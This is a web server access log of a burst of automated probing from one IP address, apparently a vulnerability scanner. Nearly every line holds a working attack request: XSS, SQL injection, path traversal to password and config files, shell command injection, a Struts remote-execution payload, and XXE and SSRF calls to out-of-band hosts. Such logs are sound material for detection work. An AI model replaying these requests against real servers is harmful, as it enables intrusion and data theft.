[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /clock_status.php?current_page=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter&nodeFilteringType=ALL&nodeFilter&launcherFilteringType=ALL&launcherFilter&causeFilteringType=ALL&causeFilter&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CMSPages/Staging/SyncServer.asmx/ProcessSynchronizationTaskData HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /invoker/readonly HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /XMLCHART HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /includes/mysql2i/mysql2i.func.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?id=ydzbb8%25{128*128} HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/babel/redirect.php?newurl=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=qqq%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /share/page/dologin HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /OA_HTML/lcmServiceController.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/file:%2f%2f/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mantisbt-2.3.0/verify.php?id=1&confirm_hash HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Uploads/380CxxaArPB9f20eAwgwpubDDnB.php7 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /base_import/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /free_time_failed.cgi?err_msg=<script>alert(document.domain);</script> HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/pw_snmp.html HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LetsEncrypt/Index?fileName=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipecs-cm/download?filename=jre-6u13-windows-i586-p.exe&filepath=../../../../../../../../../../etc/passwd%00.jpg HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WealthT24/GetImage?docDownloadPath=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/snapshots HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redirector.php?do=nodelay&url=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/insert-php/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //test.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1" 226
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /free_time.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20- HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/error-not-supported-platform.html?desktop_url=javascript:alert(1337);//itms:// HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password.jsn HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /crowd/plugins/servlet/exp HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/users HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /action/usermanager.htm HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/download-manager/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..../..../..../..../..../..../..../..../..../windows/win.ini HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mnt/overlay/dam/gui/content/assets/metadataeditor.external.html?item=$%7b972286*867549%7d HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /password_change.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/checklist/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/config.exp HTTP/1.1" 199
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog.php?filename=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session_login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/wa.exe?OK=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/pprof/goroutine?debug=1 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23 HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/visualizer/v1/update-chart HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssi/printenv.shtml?%3Cscript%3Ealert%281683580282%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:33 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/login HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /node/1?_format=hal_json HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /....%5C....%5C....%5C....%5C....%5C....%5C....%5C....%5C....%5Cwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /service/extdirect HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /photo/p/api/album.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /content/380CyE1APRSrdoR5kzl48ITTw2z HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%0d%0aSet-Cookie:crlfinjection=1; HTTP/1.1" 199
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rpc.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /updating.jsp?url=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /badging/badge_template_v0.php?layout=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20zGywQPwddz.txt%60 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/file_transfer.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/static/c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1" 220
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmlpserver/convert?xml=<%3fxml+version%3d\"1.0\"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+\"http%3a//d5g6sfahausljekepl20ueen9cx3u16if.oast.site/xxe.xml\">%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rest/tinymce/1/macro/preview HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/2/user/picker?query HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //debug.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket%2FXcelerate%2FActions%2FSecurity%2FNoXceleditor&WemUI=qqq%27;}%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/search/..%5C..%5C..%5Cconf%5Copenfire.xml HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /kindeditor/php/demo.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/supportInstaller HTTP/1.1" 199
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapp/?fccc%27\\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/?n=language&c=language_general&a=doExportPack HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //myaccount/javax.faces.resource/web.xml?loc=../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/visualizer/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Collector/diagnostics/ping HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_syslog.txt HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /osm/REGISTER.cmd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/UploadServlet HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/getImage.php?base64Url=YGlkID4gY3lpd3AudHh0YA===&format=png HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/ManageFilters.jspa?filter=popular&filterView=popular HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugins/servlet/gadgets/makeRequest HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?pagename=OpenMarket/Xcelerate/Admin/WebReferences HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/timelion/run HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dashboard/uploadID.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cs/Satellite?destpage=\"<h1xxx\"><script>alert(document.domain)</script>&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError HTTP/1.1" 226
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?search_term=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location_search&nearby=off&address_lat&address_lng&distance=10&lcats%5B%5D HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /getcfg.php HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /page/sl_logdl?dcfct=DCMlog.download_log&dbkey%3Asyslog.rlog=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plus/pass_reset.php?L=english&pmc_username=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/autosuggest-remote.php?q=\"><img%20src=x%20onerror=alert(1)> HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CyFonKG0viCQb5BqT3KxqopA/../../ThinVnc.ini HTTP/1.1" 226
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /getFavicon?host=http://oast.fun/ HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlpserver/ReportTemplateService.xls HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?pum_action=tools_page_tab_system_info HTTP/1.1" 3426
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin/auth/reset-password HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /query?db=db&q=SHOW%20DATABASES HTTP/1.1" 196
[09/Jan/2026:10:51:34 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
